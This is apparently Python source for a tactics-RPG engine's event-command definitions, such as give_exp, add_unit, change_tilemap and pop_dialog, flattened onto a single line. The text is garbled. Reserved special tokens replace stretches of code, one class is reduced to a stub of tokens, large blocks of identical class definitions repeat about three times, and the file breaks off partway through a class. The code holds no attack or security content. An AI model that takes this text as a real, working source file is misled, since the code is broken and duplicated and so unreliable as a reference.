<|reserved_special_token_0|> class GiveExp(EventCommand): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> class SetExp(EventCommand): nid = 'set_exp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'PositiveInteger'] class GiveWexp(EventCommand): nid = 'give_wexp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'WeaponType', 'Integer'] flags = ['no_banner'] class GiveSkill(EventCommand): nid = 'give_skill' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Skill'] flags = ['no_banner'] class RemoveSkill(EventCommand): nid = 'remove_skill' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Skill'] flags = ['no_banner'] class ChangeAI(EventCommand): nid = 'change_ai' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'AI'] class ChangeTeam(EventCommand): nid = 'change_team' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Team'] class ChangePortrait(EventCommand): nid = 'change_portrait' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'PortraitNid'] class ChangeStats(EventCommand): nid = 'change_stats' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'StatList'] flags = ['immediate'] class SetStats(EventCommand): nid = 'set_stats' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'StatList'] flags = ['immediate'] class AutolevelTo(EventCommand): nid = 'autolevel_to' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'String'] flags = ['hidden'] class SetModeAutolevels(EventCommand): nid = 'set_mode_autolevels' tag = Tags.GAME_VARS keywords = ['String'] flags = ['hidden'] class Promote(EventCommand): nid = 'promote' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit'] optional_keywords = ['Klass'] class ChangeClass(EventCommand): nid = 'change_class' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit'] optional_keywords = ['Klass'] class AddTag(EventCommand): nid = 'add_tag' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Tag'] class RemoveTag(EventCommand): nid = 'remove_tag' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Tag'] class AddTalk(EventCommand): nid = 'add_talk' tag = Tags.LEVEL_VARS keywords = ['Unit', 'Unit'] class RemoveTalk(EventCommand): nid = 'remove_talk' tag = Tags.LEVEL_VARS keywords = ['Unit', 'Unit'] class AddLore(EventCommand): nid = 'add_lore' nickname = 'unlock_lore' tag = Tags.GAME_VARS keywords = ['Lore'] class RemoveLore(EventCommand): nid = 'remove_lore' tag = Tags.GAME_VARS keywords = ['Lore'] class AddBaseConvo(EventCommand): nid = 'add_base_convo' tag = Tags.LEVEL_VARS keywords = ['String'] class IgnoreBaseConvo(EventCommand): nid = 'ignore_base_convo' tag = Tags.LEVEL_VARS keywords = ['String'] class RemoveBaseConvo(EventCommand): nid = 'remove_base_convo' tag = Tags.LEVEL_VARS keywords = ['String'] class IncrementSupportPoints(EventCommand): nid = 'increment_support_points' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger'] class AddMarketItem(EventCommand): nid = 'add_market_item' tag = Tags.GAME_VARS keywords = ['Item'] class RemoveMarketItem(EventCommand): nid = 'remove_market_item' tag = Tags.GAME_VARS keywords = ['Item'] class AddRegion(EventCommand): nid = 'add_region' tag = Tags.REGION keywords = ['Nid', 'Position', 'Size', 'RegionType'] optional_keywords = ['String'] flags = ['only_once'] class RegionCondition(EventCommand): nid = 'region_condition' tag = Tags.REGION keywords = ['Nid', 'Condition'] class RemoveRegion(EventCommand): nid = 'remove_region' tag = Tags.REGION keywords = ['Nid'] class ShowLayer(EventCommand): nid = 'show_layer' tag = Tags.TILEMAP keywords = ['Layer'] optional_keywords = ['LayerTransition'] class HideLayer(EventCommand): nid = 'hide_layer' tag = Tags.TILEMAP keywords = ['Layer'] optional_keywords = ['LayerTransition'] class AddWeather(EventCommand): nid = 'add_weather' tag = Tags.TILEMAP keywords = ['Weather'] class RemoveWeather(EventCommand): nid = 'remove_weather' tag = Tags.TILEMAP keywords = ['Weather'] class ChangeObjectiveSimple(EventCommand): nid = 'change_objective_simple' tag = Tags.LEVEL_VARS keywords = ['String'] class ChangeObjectiveWin(EventCommand): nid = 'change_objective_win' tag = Tags.LEVEL_VARS keywords = ['String'] class ChangeObjectiveLoss(EventCommand): nid = 'change_objective_loss' tag = Tags.LEVEL_VARS keywords = ['String'] class SetPosition(EventCommand): nid = 'set_position' tag = Tags.MISCELLANEOUS keywords = ['String'] class MapAnim(EventCommand): nid = 'map_anim' tag = Tags.TILEMAP keywords = ['MapAnim', 'Position'] flags = ['no_block'] class ArrangeFormation(EventCommand): nid = 'arrange_formation' tag = Tags.MISCELLANEOUS class Prep(EventCommand): nid = 'prep' tag = Tags.MISCELLANEOUS optional_keywords = ['Bool', 'Music'] class Base(EventCommand): nid = 'base' tag = Tags.MISCELLANEOUS keywords = ['Panorama'] optional_keywords = ['Music'] class Shop(EventCommand): nid = 'shop' tag = Tags.MISCELLANEOUS keywords = ['Unit', 'ItemList'] optional_keywords = ['ShopFlavor'] class Choice(EventCommand): nid = 'choice' tag = Tags.MISCELLANEOUS keywords = ['Nid', 'String', 'StringList'] optional_keywords = ['Orientation'] class ChapterTitle(EventCommand): nid = 'chapter_title' tag = Tags.MISCELLANEOUS optional_keywords = ['Music', 'String'] class Alert(EventCommand): nid = 'alert' tag = Tags.DIALOGUE_TEXT keywords = ['String'] class VictoryScreen(EventCommand): nid = 'victory_screen' tag = Tags.MISCELLANEOUS class RecordsScreen(EventCommand): nid = 'records_screen' tag = Tags.MISCELLANEOUS class LocationCard(EventCommand): nid = 'location_card' tag = Tags.DIALOGUE_TEXT keywords = ['String'] class Credits(EventCommand): nid = 'credits' tag = Tags.DIALOGUE_TEXT keywords = ['String', 'String'] flags = ['wait', 'center', 'no_split'] class Ending(EventCommand): nid = 'ending' tag = Tags.DIALOGUE_TEXT keywords = ['Portrait', 'String', 'String'] class PopDialog(EventCommand): nid = 'pop_dialog' tag = Tags.DIALOGUE_TEXT desc = """ Removes the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition. Example: ``` ending;Coyote;Coyote, Man of Mystery;Too mysterious for words. transition;Close pop_dialog transition;Open ``` """ class Unlock(EventCommand): nid = 'unlock' tag = Tags.REGION keywords = ['Unit'] class FindUnlock(EventCommand): nid = 'find_unlock' tag = Tags.HIDDEN keywords = ['Unit'] class SpendUnlock(EventCommand): nid = 'spend_unlock' tag = Tags.HIDDEN keywords = ['Unit'] class TriggerScript(EventCommand): nid = 'trigger_script' tag = Tags.MISCELLANEOUS keywords = ['Event'] optional_keywords = ['GlobalUnit', 'GlobalUnit'] class ChangeRoaming(EventCommand): nid = 'change_roaming' tag = Tags.MISCELLANEOUS desc = 'Turn free roam mode on or off' keywords = ['Bool'] class ChangeRoamingUnit(EventCommand): nid = 'change_roaming_unit' tag = Tags.MISCELLANEOUS desc = "Changes the level's current roaming unit." keywords = ['Unit'] class CleanUpRoaming(EventCommand): nid = 'clean_up_roaming' tag = Tags.MISCELLANEOUS desc = 'Removes all units other than the roaming unit' keywords = [] class AddToInitiative(EventCommand): nid = 'add_to_initiative' tag = Tags.MISCELLANEOUS desc = ( 'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.' ) keywords = ['Unit', 'Integer'] class MoveInInitiative(EventCommand): nid = 'move_in_initiative' tag = Tags.MISCELLANEOUS desc = 'Moves the initiative of the specified unit.' keywords = ['Unit', 'Integer'] <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class RemoveAllUnits(EventCommand): nid = 'remove_all_units' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS class RemoveAllEnemies(EventCommand): nid = 'remove_all_enemies' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS class InteractUnit(EventCommand): nid = 'interact_unit' nickname = 'interact' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['Unit', 'Unit'] optional_keywords = ['CombatScript', 'Ability'] class SetCurrentHP(EventCommand): nid = 'set_current_hp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['Unit', 'PositiveInteger'] class SetCurrentMana(EventCommand): nid = 'set_current_mana' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['Unit', 'PositiveInteger'] class Resurrect(EventCommand): nid = 'resurrect' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['GlobalUnit'] class Reset(EventCommand): nid = 'reset' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['Unit'] class HasAttacked(EventCommand): nid = 'has_attacked' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['Unit'] class HasTraded(EventCommand): nid = 'has_traded' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['Unit'] class AddGroup(EventCommand): nid = 'add_group' tag = Tags.UNIT_GROUPS keywords = ['Group'] optional_keywords = ['StartingGroup', 'EntryType', 'Placement'] flags = ['create'] class SpawnGroup(EventCommand): nid = 'spawn_group' tag = Tags.UNIT_GROUPS keywords = ['Group', 'CardinalDirection', 'StartingGroup'] optional_keywords = ['EntryType', 'Placement'] flags = ['create', 'no_block', 'no_follow'] class MoveGroup(EventCommand): nid = 'move_group' nickname = 'morph_group' tag = Tags.UNIT_GROUPS keywords = ['Group', 'StartingGroup'] optional_keywords = ['MovementType', 'Placement'] flags = ['no_block', 'no_follow'] class RemoveGroup(EventCommand): nid = 'remove_group' tag = Tags.UNIT_GROUPS keywords = ['Group'] optional_keywords = ['RemoveType'] class GiveItem(EventCommand): nid = 'give_item' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Item'] flags = ['no_banner', 'no_choice', 'droppable'] class RemoveItem(EventCommand): nid = 'remove_item' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Item'] flags = ['no_banner'] class GiveMoney(EventCommand): nid = 'give_money' tag = Tags.GAME_VARS keywords = ['Integer'] optional_keywords = ['Party'] flags = ['no_banner'] class GiveBexp(EventCommand): nid = 'give_bexp' tag = Tags.GAME_VARS keywords = ['Condition'] optional_keywords = ['Party', 'String'] flags = ['no_banner'] class GiveExp(EventCommand): nid = 'give_exp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'PositiveInteger'] class SetExp(EventCommand): nid = 'set_exp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'PositiveInteger'] class GiveWexp(EventCommand): nid = 'give_wexp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'WeaponType', 'Integer'] flags = ['no_banner'] class GiveSkill(EventCommand): nid = 'give_skill' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Skill'] flags = ['no_banner'] class RemoveSkill(EventCommand): nid = 'remove_skill' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Skill'] flags = ['no_banner'] class ChangeAI(EventCommand): nid = 'change_ai' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'AI'] class ChangeTeam(EventCommand): nid = 'change_team' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Team'] class ChangePortrait(EventCommand): nid = 'change_portrait' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'PortraitNid'] class ChangeStats(EventCommand): nid = 'change_stats' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'StatList'] flags = ['immediate'] class SetStats(EventCommand): nid = 'set_stats' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'StatList'] flags = ['immediate'] class AutolevelTo(EventCommand): nid = 'autolevel_to' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'String'] flags = ['hidden'] class SetModeAutolevels(EventCommand): nid = 'set_mode_autolevels' tag = Tags.GAME_VARS keywords = ['String'] flags = ['hidden'] class Promote(EventCommand): nid = 'promote' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit'] optional_keywords = ['Klass'] class ChangeClass(EventCommand): nid = 'change_class' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit'] optional_keywords = ['Klass'] class AddTag(EventCommand): nid = 'add_tag' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Tag'] class RemoveTag(EventCommand): nid = 'remove_tag' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Tag'] class AddTalk(EventCommand): nid = 'add_talk' tag = Tags.LEVEL_VARS keywords = ['Unit', 'Unit'] class RemoveTalk(EventCommand): nid = 'remove_talk' tag = Tags.LEVEL_VARS keywords = ['Unit', 'Unit'] class AddLore(EventCommand): nid = 'add_lore' nickname = 'unlock_lore' tag = Tags.GAME_VARS keywords = ['Lore'] class RemoveLore(EventCommand): nid = 'remove_lore' tag = Tags.GAME_VARS keywords = ['Lore'] class AddBaseConvo(EventCommand): nid = 'add_base_convo' tag = Tags.LEVEL_VARS keywords = ['String'] class IgnoreBaseConvo(EventCommand): nid = 'ignore_base_convo' tag = Tags.LEVEL_VARS keywords = ['String'] class RemoveBaseConvo(EventCommand): nid = 'remove_base_convo' tag = Tags.LEVEL_VARS keywords = ['String'] class IncrementSupportPoints(EventCommand): nid = 'increment_support_points' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger'] class AddMarketItem(EventCommand): nid = 'add_market_item' tag = Tags.GAME_VARS keywords = ['Item'] class RemoveMarketItem(EventCommand): nid = 'remove_market_item' tag = Tags.GAME_VARS keywords = ['Item'] class AddRegion(EventCommand): nid = 'add_region' tag = Tags.REGION keywords = ['Nid', 'Position', 'Size', 'RegionType'] optional_keywords = ['String'] flags = ['only_once'] class RegionCondition(EventCommand): nid = 'region_condition' tag = Tags.REGION keywords = ['Nid', 'Condition'] class RemoveRegion(EventCommand): nid = 'remove_region' tag = Tags.REGION keywords = ['Nid'] class ShowLayer(EventCommand): nid = 'show_layer' tag = Tags.TILEMAP keywords = ['Layer'] optional_keywords = ['LayerTransition'] class HideLayer(EventCommand): nid = 'hide_layer' tag = Tags.TILEMAP keywords = ['Layer'] optional_keywords = ['LayerTransition'] class AddWeather(EventCommand): nid = 'add_weather' tag = Tags.TILEMAP keywords = ['Weather'] class RemoveWeather(EventCommand): nid = 'remove_weather' tag = Tags.TILEMAP keywords = ['Weather'] class ChangeObjectiveSimple(EventCommand): nid = 'change_objective_simple' tag = Tags.LEVEL_VARS keywords = ['String'] class ChangeObjectiveWin(EventCommand): nid = 'change_objective_win' tag = Tags.LEVEL_VARS keywords = ['String'] class ChangeObjectiveLoss(EventCommand): nid = 'change_objective_loss' tag = Tags.LEVEL_VARS keywords = ['String'] class SetPosition(EventCommand): nid = 'set_position' tag = Tags.MISCELLANEOUS keywords = ['String'] class MapAnim(EventCommand): nid = 'map_anim' tag = Tags.TILEMAP keywords = ['MapAnim', 'Position'] flags = ['no_block'] class ArrangeFormation(EventCommand): nid = 'arrange_formation' tag = Tags.MISCELLANEOUS class Prep(EventCommand): nid = 'prep' tag = Tags.MISCELLANEOUS optional_keywords = ['Bool', 'Music'] class Base(EventCommand): nid = 'base' tag = Tags.MISCELLANEOUS keywords = ['Panorama'] optional_keywords = ['Music'] class Shop(EventCommand): nid = 'shop' tag = Tags.MISCELLANEOUS keywords = ['Unit', 'ItemList'] optional_keywords = ['ShopFlavor'] class Choice(EventCommand): nid = 'choice' tag = Tags.MISCELLANEOUS keywords = ['Nid', 'String', 'StringList'] optional_keywords = ['Orientation'] class ChapterTitle(EventCommand): nid = 'chapter_title' tag = Tags.MISCELLANEOUS optional_keywords = ['Music', 'String'] class Alert(EventCommand): nid = 'alert' tag = Tags.DIALOGUE_TEXT keywords = ['String'] class VictoryScreen(EventCommand): nid = 'victory_screen' tag = Tags.MISCELLANEOUS class RecordsScreen(EventCommand): nid = 'records_screen' tag = Tags.MISCELLANEOUS class LocationCard(EventCommand): nid = 'location_card' tag = Tags.DIALOGUE_TEXT keywords = ['String'] class Credits(EventCommand): nid = 'credits' tag = Tags.DIALOGUE_TEXT keywords = ['String', 'String'] flags = ['wait', 'center', 'no_split'] class Ending(EventCommand): nid = 'ending' tag = Tags.DIALOGUE_TEXT keywords = ['Portrait', 'String', 'String'] class PopDialog(EventCommand): nid = 'pop_dialog' tag = Tags.DIALOGUE_TEXT desc = """ Removes the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition. Example: ``` ending;Coyote;Coyote, Man of Mystery;Too mysterious for words. transition;Close pop_dialog transition;Open ``` """ class Unlock(EventCommand): nid = 'unlock' tag = Tags.REGION keywords = ['Unit'] class FindUnlock(EventCommand): nid = 'find_unlock' tag = Tags.HIDDEN keywords = ['Unit'] class SpendUnlock(EventCommand): nid = 'spend_unlock' tag = Tags.HIDDEN keywords = ['Unit'] class TriggerScript(EventCommand): nid = 'trigger_script' tag = Tags.MISCELLANEOUS keywords = ['Event'] optional_keywords = ['GlobalUnit', 'GlobalUnit'] class ChangeRoaming(EventCommand): nid = 'change_roaming' tag = Tags.MISCELLANEOUS desc = 'Turn free roam mode on or off' keywords = ['Bool'] class ChangeRoamingUnit(EventCommand): nid = 'change_roaming_unit' tag = Tags.MISCELLANEOUS desc = "Changes the level's current roaming unit." keywords = ['Unit'] class CleanUpRoaming(EventCommand): nid = 'clean_up_roaming' tag = Tags.MISCELLANEOUS desc = 'Removes all units other than the roaming unit' keywords = [] class AddToInitiative(EventCommand): nid = 'add_to_initiative' tag = Tags.MISCELLANEOUS desc = ( 'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.' ) keywords = ['Unit', 'Integer'] class MoveInInitiative(EventCommand): nid = 'move_in_initiative' tag = Tags.MISCELLANEOUS desc = 'Moves the initiative of the specified unit.' keywords = ['Unit', 'Integer'] <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class IncLevelVar(EventCommand): nid = 'inc_level_var' tag = Tags.LEVEL_VARS keywords = ['Nid'] optional_keywords = ['Condition'] class WinGame(EventCommand): nid = 'win_game' tag = Tags.LEVEL_VARS class LoseGame(EventCommand): nid = 'lose_game' tag = Tags.LEVEL_VARS class ActivateTurnwheel(EventCommand): nid = 'activate_turnwheel' tag = Tags.MISCELLANEOUS optional_keywords = ['Bool'] class BattleSave(EventCommand): nid = 'battle_save' tag = Tags.MISCELLANEOUS class ChangeTilemap(EventCommand): nid = 'change_tilemap' tag = Tags.TILEMAP keywords = ['Tilemap'] optional_keywords = ['PositionOffset', 'Tilemap'] flags = ['reload'] class LoadUnit(EventCommand): nid = 'load_unit' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['UniqueUnit'] optional_keywords = ['Team', 'AI'] class MakeGeneric(EventCommand): nid = 'make_generic' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['String', 'Klass', 'String', 'Team'] optional_keywords = ['AI', 'Faction', 'String', 'ItemList'] class CreateUnit(EventCommand): nid = 'create_unit' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['Unit', 'String'] optional_keywords = ['String', 'Position', 'EntryType', 'Placement'] class AddUnit(EventCommand): nid = 'add_unit' nickname = 'add' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['Unit'] optional_keywords = ['Position', 'EntryType', 'Placement'] class MoveUnit(EventCommand): nid = 'move_unit' nickname = 'move' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['Unit'] optional_keywords = ['Position', 'MovementType', 'Placement'] flags = ['no_block', 'no_follow'] class RemoveUnit(EventCommand): nid = 'remove_unit' nickname = 'remove' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['Unit'] optional_keywords = ['RemoveType'] class KillUnit(EventCommand): nid = 'kill_unit' nickname = 'kill' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['Unit'] flags = ['immediate'] class RemoveAllUnits(EventCommand): nid = 'remove_all_units' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS class RemoveAllEnemies(EventCommand): nid = 'remove_all_enemies' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS class InteractUnit(EventCommand): nid = 'interact_unit' nickname = 'interact' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['Unit', 'Unit'] optional_keywords = ['CombatScript', 'Ability'] class SetCurrentHP(EventCommand): nid = 'set_current_hp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['Unit', 'PositiveInteger'] class SetCurrentMana(EventCommand): nid = 'set_current_mana' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['Unit', 'PositiveInteger'] class Resurrect(EventCommand): nid = 'resurrect' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['GlobalUnit'] class Reset(EventCommand): nid = 'reset' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['Unit'] class HasAttacked(EventCommand): nid = 'has_attacked' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['Unit'] class HasTraded(EventCommand): nid = 'has_traded' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['Unit'] class AddGroup(EventCommand): nid = 'add_group' tag = Tags.UNIT_GROUPS keywords = ['Group'] optional_keywords = ['StartingGroup', 'EntryType', 'Placement'] flags = ['create'] class SpawnGroup(EventCommand): nid = 'spawn_group' tag = Tags.UNIT_GROUPS keywords = ['Group', 'CardinalDirection', 'StartingGroup'] optional_keywords = ['EntryType', 'Placement'] flags = ['create', 'no_block', 'no_follow'] class MoveGroup(EventCommand): nid = 'move_group' nickname = 'morph_group' tag = Tags.UNIT_GROUPS keywords = ['Group', 'StartingGroup'] optional_keywords = ['MovementType', 'Placement'] flags = ['no_block', 'no_follow'] class RemoveGroup(EventCommand): nid = 'remove_group' tag = Tags.UNIT_GROUPS keywords = ['Group'] optional_keywords = ['RemoveType'] class GiveItem(EventCommand): nid = 'give_item' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Item'] flags = ['no_banner', 'no_choice', 'droppable'] class RemoveItem(EventCommand): nid = 'remove_item' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Item'] flags = ['no_banner'] class GiveMoney(EventCommand): nid = 'give_money' tag = Tags.GAME_VARS keywords = ['Integer'] optional_keywords = ['Party'] flags = ['no_banner'] class GiveBexp(EventCommand): nid = 'give_bexp' tag = Tags.GAME_VARS keywords = ['Condition'] optional_keywords = ['Party', 'String'] flags = ['no_banner'] class GiveExp(EventCommand): nid = 'give_exp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'PositiveInteger'] class SetExp(EventCommand): nid = 'set_exp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'PositiveInteger'] class GiveWexp(EventCommand): nid = 'give_wexp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'WeaponType', 'Integer'] flags = ['no_banner'] class GiveSkill(EventCommand): nid = 'give_skill' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Skill'] flags = ['no_banner'] class RemoveSkill(EventCommand): nid = 'remove_skill' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Skill'] flags = ['no_banner'] class ChangeAI(EventCommand): nid = 'change_ai' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'AI'] class ChangeTeam(EventCommand): nid = 'change_team' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Team'] class ChangePortrait(EventCommand): nid = 'change_portrait' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'PortraitNid'] class ChangeStats(EventCommand): nid = 'change_stats' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'StatList'] flags = ['immediate'] class SetStats(EventCommand): nid = 'set_stats' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'StatList'] flags = ['immediate'] class AutolevelTo(EventCommand): nid = 'autolevel_to' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'String'] flags = ['hidden'] class SetModeAutolevels(EventCommand): nid = 'set_mode_autolevels' tag = Tags.GAME_VARS keywords = ['String'] flags = ['hidden'] class Promote(EventCommand): nid = 'promote' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit'] optional_keywords = ['Klass'] class ChangeClass(EventCommand): nid = 'change_class' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit'] optional_keywords = ['Klass'] class AddTag(EventCommand): nid = 'add_tag' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Tag'] class RemoveTag(EventCommand): nid = 'remove_tag' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Tag'] class AddTalk(EventCommand): nid = 'add_talk' tag = Tags.LEVEL_VARS keywords = ['Unit', 'Unit'] class RemoveTalk(EventCommand): nid = 'remove_talk' tag = Tags.LEVEL_VARS keywords = ['Unit', 'Unit'] class AddLore(EventCommand): nid = 'add_lore' nickname = 'unlock_lore' tag = Tags.GAME_VARS keywords = ['Lore'] class RemoveLore(EventCommand): nid = 'remove_lore' tag = Tags.GAME_VARS keywords = ['Lore'] class AddBaseConvo(EventCommand): nid = 'add_base_convo' tag = Tags.LEVEL_VARS keywords = ['String'] class IgnoreBaseConvo(EventCommand): nid = 'ignore_base_convo' tag = Tags.LEVEL_VARS keywords = ['String'] class RemoveBaseConvo(EventCommand): nid = 'remove_base_convo' tag = Tags.LEVEL_VARS keywords = ['String'] class IncrementSupportPoints(EventCommand): nid = 'increment_support_points' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger'] class AddMarketItem(EventCommand): nid = 'add_market_item' tag = Tags.GAME_VARS keywords = ['Item'] class RemoveMarketItem(EventCommand): nid = 'remove_market_item' tag = Tags.GAME_VARS keywords = ['Item'] class AddRegion(EventCommand): nid = 'add_region' tag = Tags.REGION keywords = ['Nid', 'Position', 'Size', 'RegionType'] optional_keywords = ['String'] flags = ['only_once'] class RegionCondition(EventCommand): nid = 'region_condition' tag = Tags.REGION keywords = ['Nid', 'Condition'] class RemoveRegion(EventCommand): nid = 'remove_region' tag = Tags.REGION keywords = ['Nid'] class ShowLayer(EventCommand): nid = 'show_layer' tag = Tags.TILEMAP keywords = ['Layer'] optional_keywords = ['LayerTransition'] class HideLayer(EventCommand): nid = 'hide_layer' tag = Tags.TILEMAP keywords = ['Layer'] optional_keywords = ['LayerTransition'] class AddWeather(EventCommand): nid = 'add_weather' tag = Tags.TILEMAP keywords = ['Weather'] class RemoveWeather(EventCommand): nid = 'remove_weather' tag = Tags.TILEMAP keywords = ['Weather'] class ChangeObjectiveSimple(EventCommand): nid = 'change_objective_simple' tag = Tags.LEVEL_VARS keywords = ['String'] class ChangeObjectiveWin(EventCommand): nid = 'change_objective_win' tag = Tags.LEVEL_VARS keywords = ['String'] class ChangeObjectiveLoss(EventCommand): nid = 'change_objective_loss' tag = Tags.LEVEL_VARS keywords = ['String'] class SetPosition(EventCommand): nid = 'set_position' tag = Tags.MISCELLANEOUS keywords = ['String'] class MapAnim(EventCommand): nid = 'map_anim' tag = Tags.TILEMAP keywords = ['MapAnim', 'Position'] flags = ['no_block'] class ArrangeFormation(EventCommand): nid = 'arrange_formation' tag = Tags.MISCELLANEOUS class Prep(EventCommand): nid = 'prep' tag = Tags.MISCELLANEOUS optional_keywords = ['Bool', 'Music'] class Base(EventCommand): nid = 'base' tag = Tags.MISCELLANEOUS keywords = ['Panorama'] optional_keywords = ['Music'] class Shop(EventCommand): nid = 'shop' tag = Tags.MISCELLANEOUS keywords = ['Unit', 'ItemList'] optional_keywords = ['ShopFlavor'] class Choice(EventCommand): nid = 'choice' tag = Tags.MISCELLANEOUS keywords = ['Nid', 'String', 'StringList'] optional_keywords = ['Orientation'] class ChapterTitle(EventCommand): nid = 'chapter_title' tag = Tags.MISCELLANEOUS optional_keywords = ['Music', 'String'] class Alert(EventCommand): nid = 'alert' tag = Tags.DIALOGUE_TEXT keywords = ['String'] class VictoryScreen(EventCommand): nid = 'victory_screen' tag = Tags.MISCELLANEOUS class RecordsScreen(EventCommand): nid = 'records_screen' tag = Tags.MISCELLANEOUS class LocationCard(EventCommand): nid = 'location_card' tag = Tags.DIALOGUE_TEXT keywords = ['String'] class Credits(EventCommand): nid = 'credits' tag = Tags.DIALOGUE_TEXT keywords = ['String', 'String'] flags = ['wait', 'center', 'no_split'] class Ending(EventCommand): nid = 'ending' tag = Tags.DIALOGUE_TEXT keywords = ['Portrait', 'String', 'String'] class PopDialog(EventCommand): nid = 'pop_dialog' tag = Tags.DIALOGUE_TEXT desc = """ Removes the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition. Example: ``` ending;Coyote;Coyote, Man of Mystery;Too mysterious for words. transition;Close pop_dialog transition;Open ``` """ class Unlock(EventCommand): nid = 'unlock' tag = Tags.REGION keywords = ['Unit'] class FindUnlock(EventCommand): nid = 'find_unlock' tag = Tags.HIDDEN keywords = 